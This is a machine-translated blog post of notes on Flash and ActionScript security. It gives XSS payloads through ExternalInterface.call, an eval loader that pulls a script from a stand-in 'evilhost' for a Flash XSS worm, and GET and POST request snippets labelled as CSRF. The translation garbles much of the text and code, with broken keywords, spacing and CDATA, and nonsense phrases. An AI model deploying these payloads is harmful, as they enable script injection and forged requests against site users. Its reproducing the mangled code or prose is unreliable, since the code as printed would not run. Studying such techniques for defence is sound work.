Flash Security and ActionScript learning notes

Author: cnryan @ http://hi.baidu.com/cnryan

I. Introduction

"XeyeTeam fishing T-shirtHe accidentally suffered from Phishing. At first he thought he was using Flash technology, and then I thought it wasPZThere have also been cases of using Baidu space phishing, all of which reflect Flash security issues that cannot be ignored -:)
Flash plays an important role in Webpage Design and network application. With the help of ActionScript, Flash also has the interaction function with the server. Once the Flash application design is incomplete, this vulnerability may cause XSS, CSRF, Webx.0 Worm, and other attacks.

2. Injection of JavaScript scripts into ActionScript

Flash has two security attributes: AllowScriptAccess and AllowNetworking. The former determines whether a third-party swf file can execute scripts, the latter determines whether flash can communicate with the network, and a crossdomain. the xml policy file sets whether flash can read files across domains. For details, refer to the 80 sec article.Flash Application Security Specification.
Flash has a built-in script language similar to JavaScript. It implements interactivity, data processing, and other functions in Flash content and applications, which means that we use it for XSS.

In XSS, what we are most concerned about is-> How to Construct Our XSS shellcode-> how to inject our scripts-> how to run our payload

To inject JavaScript scripts into AS, you can use the call method of the ExternalInterface class AS follows:

ExternalInterface. call (functionName: String,... arguments ):*
FuctionName: name of the JavaScript function to be called
Arguments: parameter (optional)

// 0x00
ExternalInterface. call ("function () {alert (xss );}");

// 0x01
Var xss: String = "function () {alert (cnryan );}";
ExternalInterface. call (xss );

Nice! In the browser, preview the flash pop-up dialog box.
AS calls JS and executes the Code :)
To make it easier for us to write XSS code, we can also use XML to embed JavaScript into as3. the method is as follows:

// 0x02
Import flash. external. ExternalInterface;
Var myJavaScript: XML =
<Script>
<! [CDATA [
Function (){
Function xss (){
Alert ("hijacking ");
};
Xss ();
}
]>
</Script>
ExternalInterface. call (myJavaScript );

----------------------------------------------------------------------------

The communication method between the above-mentioned ActionScript and container applications is to call the code defined in the container (such as JavaScript function), which will cause some inconvenience during XSS penetration, we can try to dynamically load external JS scripts, such as the flash xss worm in the internal network.

// 0x03
Var fun = "var x = document. createElement (" SCRIPT "); x. src ="Http: // evilhost/xss. js"; X. defer = true; document. getElementsByTagName (" HEAD ") [0]. appendChild (x );";
Flash. external. ExternalInterface. call ("eval", fun );

3. Communication between Flash and the background

Next we will implement interaction between Flash and the server.
In AS2, you can use the LoadVars class to transmit variables between Flash applications and servers.

// 0x04
Stop ();
Var reVar: LoadVars = new LoadVars (); // defines the response information of the receiving server.
Var sendVar: LoadVars = new LoadVars (); // defines the information sent to the server.
SendVar. user = cnryan; // initialization variable user
SendVar. msg = XSS by cnryan; // initialize the variable msg
ReVar. Value = 0; // The Value of the initial receiving variable Value = 0
ReVar. onLoad = getServerInfo;
SendVar. sendAndLoad ("Http: // 127.0.0.1/1.php", reVar, "POST");
Trace ("loading ...");
Function getServerInfo (Success: Boolean)
{
If (Success)
{
Trace (reVar. Value)
}
Else
{
Trace ("false! ");
}
}

PHP Code:
<? Php
$ User = $ _ POST [user];
$ Msg = $ _ POST [msg];
Echo "user =". $ user. "say:". $ msg;
?>

It is convenient to transmit data in AS2.0! The efficiency and strength of LoadVars objects are fully reflected in this script.
In AS3.0, the original loadVars method has been deprecated. Instead, a series of classes are used to interact with background data, such as URLLoader and URLVariables.

GET parameter passing
// 0x05
Function xss (): void
{
Var urlLoader: URLLoader = new URLLoader ();
Var request: URLRequest = new URLRequest ();
Request. url ="Http: // 127.0.0.1/1.php";
Request. method = URLRequestMethod. GET;
Request. data = "user = cnry4n & msg = CSRF ";
UrlLoader. load (request );
}
Xss ();

The same is true for sending a POST request.

// 0x06
Import flash.net. URLRequest;
Import flash. system. Security;
Var url = new URLRequest ("Http: // 127.0.0.1/1.php");
Var shellcode = new URLVariables ();
Shellcode = "user = ipvs. T & msg = XSS ";
Url. method = "POST ";
Url. data = shellcode;
SendToURL (url );
Stop ();

----------------------------------------------------------------------------

Now, the notes are written here. Flash technology makes Web2.0 security more interesting! I hope this article will give you an interesting role.

Related information:
Http://80vul.com/sobb/sobb-32.txt

Html> http://www.bkjia.com/Article/200911/42431.html

Http://www.bkjia.com/Article/200810/29946.html

Http://www.bkjia.com/Article/200802/24149.html